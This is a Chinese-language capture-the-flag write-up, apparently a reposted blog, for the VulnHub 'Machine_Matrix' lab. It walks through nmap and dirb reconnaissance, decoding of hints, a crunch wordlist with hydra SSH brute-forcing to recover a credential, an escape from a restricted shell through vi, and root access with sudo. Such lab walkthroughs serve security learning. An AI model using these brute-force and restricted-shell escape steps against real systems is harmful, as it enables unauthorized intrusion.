当前位置: 首页 > news >正文

Machine_Matrix打靶渗透【附代码】(权限提升)

靶机下载地址:

https%3A%2F%2Fdownload.vulnhub.com%2Fmatrix%2FMachine_Matrix.zip

1. 主机发现+端口扫描+目录扫描+敏感信息获取

1.1. 主机发现

nmap -sn 192.168.7.0/24|grep -B 2 '08:00:27:D9:36:81'

1.2. 端口扫描

nmap -p- 192.168.7.155

1.3. 目录扫描

dirb http://192.168.7.155

1.4. 敏感信息获取

whatweb http://192.168.7.155

2. WEB打点尝试寻找漏洞点

2.1. 进入80端口主页面

1.老规矩,点点功能模块,看看有能利用的点吗 -> 网页提示跟随白兔

2.右键点击兔子 -> 新建标签页打开 -> 有一个图片路径

url提示port:31337端口,拼接访问 -> 无果

3.查看网页源码,给了一段base64加密值

ZWNobyAiVGhlbiB5b3UnbGwgc2VlLCB0aGF0IGl0IGlzIG5vdCB0aGUgc3Bvb24gdGhhdCBiZW5kcywgaXQgaXMgb25seSB5b3Vyc2VsZi4gIiA+IEN5cGhlci5tYXRyaXg=

解码得下文,大意为输出一段内容至Cypher.matrix文件中

echo "Then you'll see, that it is not the spoon that bends, it is only yourself. " > Cypher.matrix

拼接Cypher.matrix试试,直接下载下来了这个文件,文本方式打开看看

熟悉的Brainfuck加密,找工具解密一下

You can enter into matrix as guest, with password k1ll0rXX
# 您可以以访客身份进入矩阵,密码为k1ll0rXX
Note: Actually, I forget last two characters so I have replaced with XX try your luck and find correct string of password.
# 事实上,我忘记了最后两个字符,所以我用XX代替了。试试你的运气,找到正确的密码字符串。

2.2. GetShell

1.根据他的提示密码是不完整的,使用kali中crunch工具生成字典,暴力破解

crunch 8 8 -t k1ll0r%@ -o passwd.txt

2.使用 hydra 工具进行爆破,得到账号密码【k1ll0r7n】

hydra -l guest -P passwd.txt ssh://192.168.7.155

3.尝试ssh进行连接,连接成功

ssh guest@192.168.7.155

3. 权限提升

3.1. 老规矩看执行命令权限

sudo -l

很多命令受限

export #查看环境变量
# /bin/rbash权限受限制

# 发现vi命令可以使用,vi绕过rbash
vi
# 输入'冒号'
!/bin/bash

发现还是无法执行一些命令 -> 命令可正常执行 -> 执行以下命令,配置环境变量绕过

export PATH=/usr/sbin:/usr/bin:/sbin:/bin
sudo su # 密码k1ll0r7n

http://www.lryc.cn/news/417509.html

相关文章:

  • 代码随想录算法训练营Day22 | Leetcode 77 组合 Leetcode 216 组合总和Ⅲ Leetcode17 电话号码的字母组合
  • 【微信小程序实战教程】之微信小程序中的 JavaScript
  • K-近邻算法(一)
  • 从零开始之AI视频制作篇
  • Java之TCP编程综合案例
  • 【数据分析---Pandas实战指南:精通数据查询、增删改操作与高效索引和列名操作管理】
  • Spring Cloud全解析:注册中心之Eureka服务获取和服务续约
  • 三相整流电路交流侧谐波仿真分析及计算
  • 了解Java中的反射,带你如何使用反射
  • 【c++】基础知识——快速入门c++
  • AI学习记录 - 自注意力机制的计算流程图
  • JavaScript快速入门,满满干货总结,快速掌握JS语法,DOM,BOM,事件
  • 【C++】C++入门基础【类与对象】
  • Qt | QScatterSeries 散点图
  • 无缝协作的艺术:Codigger 视频会议(Meeting)的用户体验
  • C基础练习(学生管理系统)
  • 网络安全抓包封包WEB
  • Spring Boot - 在Spring Boot中实现灵活的API版本控制(上)
  • 普中51单片机:DS18B20温度传感器操作指南(十三)
  • 【网络】网络的发展历程及其相关概念
  • 鸿蒙HarmonyOS开发:如何使用第三方库,加速应用开发
  • C++的标准模板库简单介绍
  • 安卓常用控件ListView
  • 优秀的行为验证码的应用场景与行业案例
  • 《程序猿入职必会(10) · SpringBoot3 整合 MyBatis-Plus》
  • 计算机网络408考研 2018
  • (亲测有效)SpringBoot+Vue项目云服务器部署(宝塔)
  • 健康管理系统
  • 【计算机网络】网络基础概念
  • 深入理解Spring的三级缓存机制